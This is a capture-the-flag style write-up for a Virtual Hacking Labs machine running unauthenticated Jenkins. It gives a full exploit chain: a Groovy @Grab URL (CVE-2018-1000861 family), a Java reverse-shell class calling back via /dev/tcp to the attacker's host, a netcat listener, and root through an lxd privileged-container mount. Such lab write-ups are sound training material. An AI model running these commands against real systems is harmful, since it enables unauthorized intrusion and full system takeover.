WriteupsVHL — JS01
WebEasyLinux
VHL — JS01
Jenkins CI/CD server with no authentication. Exploited the Groovy script console to execute commands and gain a root shell.
February 14, 2025Virtual Hacking Labs
#Jenkins#Groovy#Script Console#RCE
nmap
sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.2.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-14 08:53 EST
Nmap scan report for 10.11.2.242
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5c:41:e9:81:e3:a3:7f:8e:1a:6c:b9:e0:b2:47:37:a9 (RSA)
| 256 31:07:ba:e6:d3:47:9e:13:0f:07:10:19:d3:b9:7f:d8 (ECDSA)
|_ 256 17:36:34:89:63:7a:71:0c:09:6c:ca:e4:7a:02:a8:71 (ED25519)
8080/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry
|_/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/14%OT=22%CT=1%CU=34439%PV=Y%DS=2%DC=I%G=Y%TM=67AF
OS:4B15%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=102%TI=Z%II=I%TS=A)OPS(O
OS:1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11N
OS:W7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R
OS:=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 21.17 ms 10.11.2.242
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.05 seconds8080
sh
8080/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Dashboard [Jenkins]
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry
|_/sh
msf6 auxiliary(scanner/http/jenkins_enum) > set rhosts 10.11.2.242
msf6 auxiliary(scanner/http/jenkins_enum) > set targeturi /
msf6 auxiliary(scanner/http/jenkins_enum) > set rport 8080CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029
- https://blog.orange.tw/posts/2019-01-hacking-jenkins-part-1-play-with-dynamic-routing/
- https://blog.orange.tw/posts/2019-02-abusing-meta-programming-for-unauthenticated-rce/
- https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
sh
http://10.11.2.242:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://172.16.1.1/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orash
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.11.2.242 - - [14/Feb/2025 10:28:35] code 404, message File not found
10.11.2.242 - - [14/Feb/2025 10:28:35] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 -
10.11.2.242 - - [14/Feb/2025 10:28:35] code 404, message File not found
10.11.2.242 - - [14/Feb/2025 10:28:35] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -Orange.java
java
public class Orange {
public Orange(){
try {
String payload = "bash -i >& /dev/tcp/172.16.1.1/1234 0>&1";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}sh
javac Orange.java
mkdir -p META-INF/services/
echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
find .
.
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
./Orange.java
./Orange.classsh
jar cvf poc-1.jar ./Orange.class META-INF/
added manifest
adding: Orange.class(in = 532) (out= 381)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)sh
mkdir -p tw/orange/poc/1sh
cp poc-1.jar ./tw/orange/poc/1sh
curl -I http://172.16.1.1/tw/orange/poc/1/poc-1.jar
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.10.0
Date: Fri, 14 Feb 2025 16:37:00 GMT
Content-type: application/java-archive
Content-Length: 1147
Last-Modified: Fri, 14 Feb 2025 16:35:58 GMTsh
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.1.1 - - [14/Feb/2025 11:37:00] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 200 -PoC
sh
http://10.11.2.242:8080/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://172.16.1.1/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;sh
http://10.11.2.242:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://172.16.1.1')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
sh
javac --version
javac 11.0.25-eash
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_421/bin/javac" 0sh
sudo update-alternatives --config javac
There are 2 choices for the alternative javac (providing /usr/bin/javac).
Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 auto mode
1 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode
2 /usr/lib/jvm/jdk1.8.0_421/bin/javac 0 manual mode
Press <enter> to keep the current choice[*], or type selection number: 2sh
sudo update-alternatives --install "/usr/bin/jar" "jar" "/usr/lib/jvm/jdk1.8.0_421/bin/jar" 0sh
sudo update-alternatives --config jar
There are 3 choices for the alternative jar (providing /usr/bin/jar).
Selection Path Priority Status
------------------------------------------------------------
* 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/jar 1111 auto mode
1 /usr/bin/fastjar 100 manual mode
2 /usr/lib/jvm/java-11-openjdk-amd64/bin/jar 1111 manual mode
3 /usr/lib/jvm/jdk1.8.0_421/bin/jar 0 manual mode
Press <enter> to keep the current choice[*], or type selection number: 3
update-alternatives: using /usr/lib/jvm/jdk1.8.0_421/bin/jar to provide /usr/bin/jar (jar) in manual modesh
javac -version
javac 1.8.0_421- used this PoC:
- https://github.com/petercunha/jenkins-rce?tab=readme-ov-file
modify code to get a reverse shell
java
public class Orange {
public Orange(){
try {
String payload = "bash -i >& /dev/tcp/172.16.1.1/1234 0>&1";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}build
sh
./build.sh- copy the
payload-1.jartowww/package/payload/1/
sh
http://10.11.2.242:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://172.16.1.1')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;sh
sudo php -S 0.0.0.0:80
[Fri Feb 14 13:10:43 2025] PHP 8.2.18 Development Server (http://0.0.0.0:80) started
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45234 Accepted
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45234 [404]: HEAD /package/payload/1/payload-1.pom - No such file or directory
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45234 Closing
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45236 Accepted
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45236 [200]: HEAD /package/payload/1/payload-1.jar
[Fri Feb 14 13:10:46 2025] 10.11.2.242:45236 Closing
[Fri Feb 14 13:10:47 2025] 10.11.2.242:45238 Accepted
[Fri Feb 14 13:10:47 2025] 10.11.2.242:45238 [200]: GET /package/payload/1/payload-1.jarsh
nc -vlnp 1234
listening on [any] 1234 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.2.242] 47812
bash: cannot set terminal process group (1062): Inappropriate ioctl for device
bash: no job control in this shell
jenkins@js01:/$ whoami
whoami
jenkinssh
python3 -c 'import pty; pty.spawn("/bin/bash")'priv esc
linpeas
sh
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 4.15.0-29-generic (buildd@lgw01-amd64-057) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.21p2sh
╔══════════╣ My user
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)sh
╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2
[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:adminlxd
- https://www.google.com/search?client=firefox-b-1-e&q=lxd+privilege+escalation
sh
git clone https://github.com/saghul/lxd-alpine-builder.gitsh
jenkins@js01:~$ wget http://172.16.1.1:8000/alpine-v3.13-x86_64-20210218_0139.tar.gzsh
jenkins@js01:~$ lxd init
sh
jenkins@js01:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimagesh
jenkins@js01:~$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Feb 14, 2025 at 7:47pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+sh
jenkins@js01:~$ lxc init myimage ignite -c security.privileged=truesh
jenkins@js01:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truesh
jenkins@js01:~$ lxc start ignitesh
jenkins@js01:~$ lxc exec ignite /bin/shsh
jenkins@js01:~$ lxc exec ignite /bin/sh
lxc exec ignite /bin/sh
~ # ^[[38;5Rcd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ^[[38;18Rwhoami
whoami
root
/mnt/root/root # ^[[38;18Rcat key.txt
cat key.txt
91rm74ic7jvhp47k5561
/mnt/root/root # ^[[38;18Rdate
date
Fri Feb 14 19:52:13 UTC 2025
/mnt/root/root # ^[[38;18R
Up next
MediumFeb 2025
VHL — PBX
FreePBX/Asterisk VoIP server on Ubuntu. Exploited FreePBX RCE CVE via the admin panel to gain a reverse shell and escalate.
Read writeup
MediumFeb 2025
VHL — React
Abyss Web Server on Windows with VNC exposed. Brute-forced VNC password to gain GUI access and escalated to SYSTEM via service abuse.
Read writeup
MediumFeb 2025
VHL — CMS101
Joomla CMS on CentOS with ProFTPD. Exploited a known Joomla CVE for unauthenticated RCE via the com_media upload component.
Read writeup